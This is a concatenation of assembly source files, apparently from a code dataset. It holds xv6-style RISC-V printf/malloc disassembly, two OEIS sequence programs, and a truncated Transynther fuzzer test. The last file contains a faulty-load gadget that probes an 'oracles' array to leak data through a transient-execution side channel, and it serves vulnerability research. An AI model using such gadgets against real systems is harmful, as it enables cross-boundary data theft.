char*); 5c8: 008b0993 addi s3,s6,8 5cc: 000b3903 ld s2,0(s6) if(s == 0) 5d0: 02090163 beqz s2,5f2 <vprintf+0x184> while(*s != 0){ 5d4: 00094583 lbu a1,0(s2) 5d8: c9a1 beqz a1,628 <vprintf+0x1ba> putc(fd, *s); 5da: 8556 mv a0,s5 5dc: 00000097 auipc ra,0x0 5e0: dc6080e7 jalr -570(ra) # 3a2 <putc> s++; 5e4: 0905 addi s2,s2,1 while(*s != 0){ 5e6: 00094583 lbu a1,0(s2) 5ea: f9e5 bnez a1,5da <vprintf+0x16c> s = va_arg(ap, char*); 5ec: 8b4e mv s6,s3 state = 0; 5ee: 4981 li s3,0 5f0: bdf9 j 4ce <vprintf+0x60> s = "(null)"; 5f2: 00000917 auipc s2,0x0 5f6: 26e90913 addi s2,s2,622 # 860 <malloc+0x128> while(*s != 0){ 5fa: 02800593 li a1,40 5fe: bff1 j 5da <vprintf+0x16c> putc(fd, va_arg(ap, uint)); 600: 008b0913 addi s2,s6,8 604: 000b4583 lbu a1,0(s6) 608: 8556 mv a0,s5 60a: 00000097 auipc ra,0x0 60e: d98080e7 jalr -616(ra) # 3a2 <putc> 612: 8b4a mv s6,s2 state = 0; 614: 4981 li s3,0 616: bd65 j 4ce <vprintf+0x60> putc(fd, c); 618: 85d2 mv a1,s4 61a: 8556 mv a0,s5 61c: 00000097 auipc ra,0x0 620: d86080e7 jalr -634(ra) # 3a2 <putc> state = 0; 624: 4981 li s3,0 626: b565 j 4ce <vprintf+0x60> s = va_arg(ap, char*); 628: 8b4e mv s6,s3 state = 0; 62a: 4981 li s3,0 62c: b54d j 4ce <vprintf+0x60> } } } 62e: 70e6 ld ra,120(sp) 630: 7446 ld s0,112(sp) 632: 74a6 ld s1,104(sp) 634: 7906 ld s2,96(sp) 636: 69e6 ld s3,88(sp) 638: 6a46 ld s4,80(sp) 63a: 6aa6 ld s5,72(sp) 63c: 6b06 ld s6,64(sp) 63e: 7be2 ld s7,56(sp) 640: 7c42 ld s8,48(sp) 642: 7ca2 ld s9,40(sp) 644: 7d02 ld s10,32(sp) 646: 6de2 ld s11,24(sp) 648: 6109 addi sp,sp,128 64a: 8082 ret 000000000000064c <fprintf>: void fprintf(int fd, const char *fmt, ...) { 64c: 715d addi sp,sp,-80 64e: ec06 sd ra,24(sp) 650: e822 sd s0,16(sp) 652: 1000 addi s0,sp,32 654: e010 sd a2,0(s0) 656: e414 sd a3,8(s0) 658: e818 sd a4,16(s0) 65a: ec1c sd a5,24(s0) 65c: 03043023 sd a6,32(s0) 660: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 664: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 668: 8622 mv a2,s0 66a: 00000097 auipc ra,0x0 66e: e04080e7 jalr -508(ra) # 46e <vprintf> } 672: 60e2 ld ra,24(sp) 674: 6442 ld s0,16(sp) 676: 6161 addi sp,sp,80 678: 8082 ret 000000000000067a <printf>: void printf(const char *fmt, ...) { 67a: 711d addi sp,sp,-96 67c: ec06 sd ra,24(sp) 67e: e822 sd s0,16(sp) 680: 1000 addi s0,sp,32 682: e40c sd a1,8(s0) 684: e810 sd a2,16(s0) 686: ec14 sd a3,24(s0) 688: f018 sd a4,32(s0) 68a: f41c sd a5,40(s0) 68c: 03043823 sd a6,48(s0) 690: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 694: 00840613 addi a2,s0,8 698: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 69c: 85aa mv a1,a0 69e: 4505 li a0,1 6a0: 00000097 auipc ra,0x0 6a4: dce080e7 jalr -562(ra) # 46e <vprintf> } 6a8: 60e2 ld ra,24(sp) 6aa: 6442 ld s0,16(sp) 6ac: 6125 addi sp,sp,96 6ae: 8082 ret 00000000000006b0 <free>: static Header base; static Header *freep; void free(void *ap) { 6b0: 1141 addi sp,sp,-16 6b2: e422 sd s0,8(sp) 6b4: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 6b6: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6ba: 00000797 auipc a5,0x0 6be: 1c67b783 ld a5,454(a5) # 880 <freep> 6c2: a805 j 6f2 <free+0x42> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6c4: 4618 lw a4,8(a2) 6c6: 9db9 addw a1,a1,a4 6c8: feb52c23 sw a1,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 6cc: 6398 ld a4,0(a5) 6ce: 6318 ld a4,0(a4) 6d0: fee53823 sd a4,-16(a0) 6d4: a091 j 718 <free+0x68> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 6d6: ff852703 lw a4,-8(a0) 6da: 9e39 addw a2,a2,a4 6dc: c790 sw a2,8(a5) p->s.ptr = bp->s.ptr; 6de: ff053703 ld a4,-16(a0) 6e2: e398 sd a4,0(a5) 6e4: a099 j 72a <free+0x7a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6e6: 6398 ld a4,0(a5) 6e8: 00e7e463 bltu a5,a4,6f0 <free+0x40> 6ec: 00e6ea63 bltu a3,a4,700 <free+0x50> { 6f0: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6f2: fed7fae3 bgeu a5,a3,6e6 <free+0x36> 6f6: 6398 ld a4,0(a5) 6f8: 00e6e463 bltu a3,a4,700 <free+0x50> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6fc: fee7eae3 bltu a5,a4,6f0 <free+0x40> if(bp + bp->s.size == p->s.ptr){ 700: ff852583 lw a1,-8(a0) 704: 6390 ld a2,0(a5) 706: 02059713 slli a4,a1,0x20 70a: 9301 srli a4,a4,0x20 70c: 0712 slli a4,a4,0x4 70e: 9736 add a4,a4,a3 710: fae60ae3 beq a2,a4,6c4 <free+0x14> bp->s.ptr = p->s.ptr; 714: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 718: 4790 lw a2,8(a5) 71a: 02061713 slli a4,a2,0x20 71e: 9301 srli a4,a4,0x20 720: 0712 slli a4,a4,0x4 722: 973e add a4,a4,a5 724: fae689e3 beq a3,a4,6d6 <free+0x26> } else p->s.ptr = bp; 728: e394 sd a3,0(a5) freep = p; 72a: 00000717 auipc a4,0x0 72e: 14f73b23 sd a5,342(a4) # 880 <freep> } 732: 6422 ld s0,8(sp) 734: 0141 addi sp,sp,16 736: 8082 ret 0000000000000738 <malloc>: return freep; } void* malloc(uint nbytes) { 738: 7139 addi sp,sp,-64 73a: fc06 sd ra,56(sp) 73c: f822 sd s0,48(sp) 73e: f426 sd s1,40(sp) 740: f04a sd s2,32(sp) 742: ec4e sd s3,24(sp) 744: e852 sd s4,16(sp) 746: e456 sd s5,8(sp) 748: e05a sd s6,0(sp) 74a: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 74c: 02051493 slli s1,a0,0x20 750: 9081 srli s1,s1,0x20 752: 04bd addi s1,s1,15 754: 8091 srli s1,s1,0x4 756: 0014899b addiw s3,s1,1 75a: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 75c: 00000517 auipc a0,0x0 760: 12453503 ld a0,292(a0) # 880 <freep> 764: c515 beqz a0,790 <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 766: 611c ld a5,0(a0) if(p->s.size >= nunits){ 768: 4798 lw a4,8(a5) 76a: 02977f63 bgeu a4,s1,7a8 <malloc+0x70> 76e: 8a4e mv s4,s3 770: 0009871b sext.w a4,s3 774: 6685 lui a3,0x1 776: 00d77363 bgeu a4,a3,77c <malloc+0x44> 77a: 6a05 lui s4,0x1 77c: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 780: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 784: 00000917 auipc s2,0x0 788: 0fc90913 addi s2,s2,252 # 880 <freep> if(p == (char*)-1) 78c: 5afd li s5,-1 78e: a88d j 800 <malloc+0xc8> base.s.ptr = freep = prevp = &base; 790: 00000797 auipc a5,0x0 794: 0f878793 addi a5,a5,248 # 888 <base> 798: 00000717 auipc a4,0x0 79c: 0ef73423 sd a5,232(a4) # 880 <freep> 7a0: e39c sd a5,0(a5) base.s.size = 0; 7a2: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 7a6: b7e1 j 76e <malloc+0x36> if(p->s.size == nunits) 7a8: 02e48b63 beq s1,a4,7de <malloc+0xa6> p->s.size -= nunits; 7ac: 4137073b subw a4,a4,s3 7b0: c798 sw a4,8(a5) p += p->s.size; 7b2: 1702 slli a4,a4,0x20 7b4: 9301 srli a4,a4,0x20 7b6: 0712 slli a4,a4,0x4 7b8: 97ba add a5,a5,a4 p->s.size = nunits; 7ba: 0137a423 sw s3,8(a5) freep = prevp; 7be: 00000717 auipc a4,0x0 7c2: 0ca73123 sd a0,194(a4) # 880 <freep> return (void*)(p + 1); 7c6: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 7ca: 70e2 ld ra,56(sp) 7cc: 7442 ld s0,48(sp) 7ce: 74a2 ld s1,40(sp) 7d0: 7902 ld s2,32(sp) 7d2: 69e2 ld s3,24(sp) 7d4: 6a42 ld s4,16(sp) 7d6: 6aa2 ld s5,8(sp) 7d8: 6b02 ld s6,0(sp) 7da: 6121 addi sp,sp,64 7dc: 8082 ret prevp->s.ptr = p->s.ptr; 7de: 6398 ld a4,0(a5) 7e0: e118 sd a4,0(a0) 7e2: bff1 j 7be <malloc+0x86> hp->s.size = nu; 7e4: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 7e8: 0541 addi a0,a0,16 7ea: 00000097 auipc ra,0x0 7ee: ec6080e7 jalr -314(ra) # 6b0 <free> return freep; 7f2: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 7f6: d971 beqz a0,7ca <malloc+0x92> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7f8: 611c ld a5,0(a0) if(p->s.size >= nunits){ 7fa: 4798 lw a4,8(a5) 7fc: fa9776e3 bgeu a4,s1,7a8 <malloc+0x70> if(p == freep) 800: 00093703 ld a4,0(s2) 804: 853e mv a0,a5 806: fef719e3 bne a4,a5,7f8 <malloc+0xc0> p = sbrk(nu * sizeof(Header)); 80a: 8552 mv a0,s4 80c: 00000097 auipc ra,0x0 810: b6e080e7 jalr -1170(ra) # 37a <sbrk> if(p == (char*)-1) 814: fd5518e3 bne a0,s5,7e4 <malloc+0xac> return 0; 818: 4501 li a0,0 81a: bf45 j 7ca <malloc+0x92>
29.552402
61
0.461002
1ebc3650ab0d6efb9daf16b8af8e14e89f3cc722
645
asm
Assembly
oeis/074/A074542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/074/A074542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/074/A074542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A074542: a(n) = 2^n + 6^n + 8^n. ; Submitted by Jamie Morken(s4) ; 3,16,104,736,5408,40576,308864,2377216,18457088,144295936,1134209024,8952733696,70896263168,562816516096,4476410691584,35654557106176,284296086683648,2268726473261056,18115958466412544,144724547816390656,1156577663047958528,9245308987497250816,73918597998684667904,591085540581767643136,4727104864207983607808,37807362150987124965376,302402036631836938993664,2418875129598335952879616,19348954056048531879231488,154779350563959323792244736,1238161113205101009330765824,9904846757801366601487876096 mov $1,6 pow $1,$0 mov $2,2 pow $2,$0 add $1,$2 pow $2,3 add $2,$1 mov $0,$2
49.615385
499
0.844961
b56bf813943a59667fb79f4d3c02d772fd6fca02
499
asm
Assembly
oeis/019/A019688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/019/A019688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/019/A019688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A019688: Decimal expansion of Pi/21. ; Submitted by Jon Maiga ; 1,4,9,5,9,9,6,5,0,1,7,0,9,4,2,5,3,5,1,6,4,8,8,7,7,8,0,1,5,6,1,6,6,8,0,4,0,0,9,3,8,9,0,1,9,0,1,7,8,6,2,1,8,1,9,5,1,1,8,7,8,3,7,7,2,8,9,4,3,6,3,8,3,9,4,5,8,1,3,8,0,8,8,7,0,4,9,2,7,7,3,9,7,2,4,3,6,6,9,9 add $0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 div $1,$0 div $2,$0 sub $3,1 lpe mul $1,2 div $1,21 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
17.821429
201
0.527054
5ba6a2714f9e253cf1d1c94852a58fc183044bdd
8,064
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1491.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1491.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_/i7-7700_9_0xca.log_21829_1491.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x198ba, %r12 nop nop nop cmp %rbp, %rbp and $0xffffffffffffffc0, %r12 movntdqa (%r12), %xmm0 vpextrq $1, %xmm0, %r15 nop nop nop nop nop sub $16957, %rdi lea addresses_D_ht+0x120ca, %rsi cmp $63202, %r11 movb (%rsi), %r12b nop sub $57633, %rsi lea addresses_WC_ht+0x983a, %rdi nop nop nop nop nop sub $46847, %r11 mov $0x6162636465666768, %rbp movq %rbp, %xmm2 and $0xffffffffffffffc0, %rdi vmovntdq %ymm2, (%rdi) nop nop cmp $3517, %r11 lea addresses_WC_ht+0x1605a, %rsi lea addresses_UC_ht+0x7da, %rdi clflush (%rsi) nop nop nop nop nop xor $15731, %r10 mov $24, %rcx rep movsb nop nop cmp %rsi, %rsi lea addresses_WT_ht+0x1d33a, %rsi nop add $64395, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm2 movups %xmm2, (%rsi) nop and $28731, %rbp lea addresses_WC_ht+0x16012, %rdi cmp %r10, %r10 mov (%rdi), %rbp nop nop nop nop nop xor $26435, %r10 lea addresses_WT_ht+0x107f0, %r10 clflush (%r10) nop nop nop nop sub $15922, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%r10) nop nop nop nop inc %rbp lea addresses_A_ht+0x402c, %rsi lea addresses_A_ht+0xe10e, %rdi nop xor $54743, %r11 mov $48, %rcx rep movsl nop sub $54251, %rcx lea addresses_WC_ht+0x839a, %r15 nop xor $23581, %r10 movb (%r15), %r12b cmp $6704, %r11 lea addresses_A_ht+0x17bba, %rsi lea addresses_UC_ht+0x3bba, %rdi nop nop nop add %r15, %r15 mov $110, %rcx rep movsb nop nop nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x1dc66, %rbp nop nop nop nop nop lfence movl $0x61626364, (%rbp) nop nop nop cmp $64134, %r10 lea addresses_UC_ht+0xf73a, %rcx add $27935, %rsi vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r12 nop nop nop nop and $40738, %r15 lea addresses_WC_ht+0x105ba, %rsi lea addresses_normal_ht+0x3dda, %rdi nop nop nop nop cmp %r10, %r10 mov $96, %rcx rep movsl nop nop nop sub %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rax push %rsi // Store lea addresses_normal+0x1697a, %rax nop inc %r9 movb $0x51, (%rax) nop nop nop cmp $59021, %rsi // Store mov $0x1ba, %r9 nop dec %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm3 vmovups %ymm3, (%r9) nop nop nop nop nop inc %r14 // Faulty Load lea addresses_UC+0xd9ba, %r15 clflush (%r15) nop nop nop nop nop sub $47251, %r9 mov (%r15), %r11 lea oracles, %rax and $0xff, %r11 shlq $12, %r11 mov (%rax,%r11,1), %r11 pop %rsi pop %rax pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 1, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}} {'46': 54, '48': 469, '45': 1842, '53': 502, '50': 16, 'de': 27, '80': 14, 'ff': 7060, '02': 4, '29': 1132, '00': 10695, '3c': 1, 'e0': 6, '26': 7} 00 00 ff 45 00 ff 00 ff 00 ff 00 00 00 ff 00 45 00 ff 29 00 ff 00 ff 29 00 ff 29 00 ff 29 00 45 00 50 ff 45 00 ff 00 ff 00 ff 00 ff 00 ff 00 45 00 00 ff 29 00 00 ff 00 45 00 48 ff 00 ff 00 ff 00 45 00 00 ff 00 ff 00 ff 00 ff 00 ff 45 00 00 ff 29 00 53 00 45 00 53 00 ff 00 00 ff 00 00 ff 00 48 ff 00 ff 00 ff 00 ff 00 ff 29 00 00 ff 45 00 ff 00 ff 00 48 ff 29 00 ff 00 ff 00 ff 45 00 00 ff 00 ff 00 00 ff 00 45 00 ff 00 45 00 46 ff 00 00 ff 45 00 00 ff 00 ff 00 00 45 00 53 00 45 00 ff 00 ff 00 00 ff 00 ff 00 ff 29 00 ff 00 45 00 53 00 ff 00 ff 00 53 00 ff 00 ff 00 00 ff 00 ff 00 ff 29 00 00 ff 00 ff 00 ff 00 45 00 ff 00 ff 00 ff 45 00 ff 00 00 ff 29 00 ff 00 ff 00 53 00 00 ff 00 ff 00 ff 00 ff 00 ff 00 45 00 ff 29 00 ff 00 ff 29 00 ff 00 ff 00 ff 00 53 00 ff 00 45 00 00 ff 00 ff 00 ff 00 45 00 ff 00 ff 00 ff 00 ff 00 50 ff 00 00 ff 29 00 00 00 00 00 ff 00 ff 00 00 45 00 00 ff 00 45 00 ff 00 ff 00 ff 00 00 ff 29 00 ff 00 48 ff 00 ff 00 ff 45 00 00 ff 29 00 00 ff 00 00 ff 00 45 00 ff 00 ff 29 00 45 00 00 48 ff 00 00 ff 00 00 00 00 ff 45 00 00 ff 00 ff 00 ff 45 00 ff 00 ff 00 00 ff 45 00 ff 00 ff 29 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 53 00 ff 00 ff 45 00 00 ff 00 ff 00 00 ff 00 00 ff 00 ff 29 00 53 00 ff 45 00 00 00 45 00 ff 00 ff 00 ff 29 00 45 00 ff 29 00 ff 00 00 46 ff 00 00 ff 00 45 00 ff 00 ff 00 ff 00 ff 00 ff 45 00 ff 00 ff 00 ff 00 ff 00 00 ff 00 00 48 ff 00 00 ff 00 45 00 ff 00 ff 00 53 00 ff 00 ff 00 ff 00 ff 00 45 00 00 45 00 ff 00 ff 00 ff 45 00 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 00 45 00 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 00 ff 00 00 ff 29 00 48 53 00 ff 00 ff 00 ff 00 ff 45 00 ff 00 ff 00 48 ff 00 ff 00 ff 29 00 48 ff 00 45 00 ff 29 00 48 00 ff 45 00 00 ff 00 45 00 ff 45 00 ff 00 00 ff 00 ff 00 ff 00 ff 00 ff 00 00 48 45 00 ff 00 00 ff 00 ff 00 ff 00 ff 45 00 00 ff 00 ff 00 00 ff 45 00 48 53 45 00 ff 00 00 ff 29 00 ff 00 00 45 00 ff 00 45 00 ff 29 00 ff 29 00 ff 00 ff 29 00 ff 00 ff 29 00 ff 29 00 ff 00 ff 00 45 00 53 00 45 00 ff 45 00 ff 00 ff 00 00 45 00 00 ff 00 ff 00 ff 00 45 00 ff 00 ff 00 ff 29 00 ff 00 00 ff 00 ff 29 00 ff 00 ff 00 53 00 ff 00 45 00 46 ff 00 ff 29 00 53 00 00 45 00 53 00 00 ff 00 ff 45 00 ff 45 00 ff 00 ff 00 ff 29 00 00 00 ff 45 00 00 ff 00 45 00 ff 00 ff 00 48 ff 00 ff 29 45 00 ff 00 ff 00 ff 00 ff 00 00 ff 45 00 00 ff 29 00 00 00 ff 29 00 ff 00 53 00 ff 00 ff 00 ff 00 ff 00 ff 45 00 ff 00 ff 00 00 ff 00 00 00 ff 00 ff 00 53 00 00 ff 00 45 00 00 00 ff 00 ff 29 00 45 00 ff 00 ff 00 00 ff 00 ff 45 00 00 ff 00 45 00 ff 00 45 00 ff 45 00 ff 80 ff 29 00 00 ff 00 45 00 ff 00 45 00 ff 00 48 53 00 ff 00 ff 45 00 ff 46 ff 00 ff 29 00 ff 00 00 29 00 ff 00 ff 00 45 00 ff 00 53 00 ff 29 00 ff 29 00 ff 00 ff 45 00 00 ff 29 ff 00 00 ff 00 ff 00 ff 00 ff 00 ff 00 45 00 ff 29 00 ff 00 ff 00 ff 00 ff 45 45 00 29 00 ff 29 00 45 00 00 53 00 ff 00 ff 45 00 ff 00 ff 00 ff 00 45 00 00 ff 29 00 ff 29 00 48 ff 00 ff 00 ff 45 00 ff 00 00 ff 00 ff 00 ff 00 ff 29 00 00 ff 29 00 ff 00 ff 00 53 00 48 ff 00 00 00 */
33.322314
2,999
0.654638
5e2989d4ae5a24d4ad64f3a7d6653e4c838b4665
7,914
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_331.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_331.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_331.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xd3f2, %r14 nop add %r13, %r13 movl $0x61626364, (%r14) nop nop nop nop xor $64197, %r11 lea addresses_A_ht+0x5eea, %rdi nop nop nop nop nop dec %rsi mov (%rdi), %rcx nop nop and $58496, %rcx lea addresses_D_ht+0x3cea, %r13 nop sub $26990, %rsi movb $0x61, (%r13) nop sub %r14, %r14 lea addresses_UC_ht+0x7f8e, %rsi nop nop nop nop and %rcx, %rcx movw $0x6162, (%rsi) nop nop nop add $60047, %r12 lea addresses_normal_ht+0x9aea, %r14 clflush (%r14) nop nop nop nop nop sub $19543, %rdi mov $0x6162636465666768, %r11 movq %r11, (%r14) nop nop nop nop nop xor $6560, %r11 lea addresses_D_ht+0xdbea, %r13 nop add $44331, %rcx movb $0x61, (%r13) nop xor %r13, %r13 lea addresses_normal_ht+0xc996, %rdi nop nop xor %r11, %r11 vmovups (%rdi), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r14 nop inc %rcx lea addresses_D_ht+0x1d26a, %rsi lea addresses_A_ht+0x1d9ea, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop xor $47939, %r12 mov $65, %rcx rep movsb cmp %rcx, %rcx lea addresses_normal_ht+0x35cc, %rsi lea addresses_WC_ht+0x6a7e, %rdi nop sub %rbx, %rbx mov $93, %rcx rep movsb nop nop xor $42624, %r12 lea addresses_WC_ht+0xcf6a, %rsi lea addresses_WT_ht+0x3134, %rdi nop nop nop nop nop inc %r11 mov $116, %rcx rep movsq dec %rdi lea addresses_D_ht+0xbbea, %rdi nop nop nop nop nop cmp $1472, %rbx movb $0x61, (%rdi) nop cmp %r14, %r14 lea addresses_WC_ht+0xd5ea, %r12 nop add $14417, %r13 mov (%r12), %ebx and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %rax push %rbp push %rsi // Store lea addresses_PSE+0x8ff3, %rbp clflush (%rbp) nop nop sub %rax, %rax movb $0x51, (%rbp) nop nop nop xor $54741, %r15 // Store lea addresses_A+0x1f2ea, %r13 nop cmp %rax, %rax mov $0x5152535455565758, %rsi movq %rsi, %xmm2 vmovups %ymm2, (%r13) add %r13, %r13 // Store lea addresses_D+0x197c6, %rbp nop nop nop nop inc %r11 mov $0x5152535455565758, %r13 movq %r13, %xmm2 movups %xmm2, (%rbp) nop inc %rax // Store lea addresses_PSE+0x19fea, %r13 xor %rsi, %rsi movb $0x51, (%r13) nop sub %r11, %r11 // Faulty Load lea addresses_UC+0xcfea, %r14 nop nop nop nop nop and $36428, %r11 movb (%r14), %r15b lea oracles, %r11 and $0xff, %r15 shlq $12, %r15 mov (%r11,%r15,1), %r15 pop %rsi pop %rbp pop %rax pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 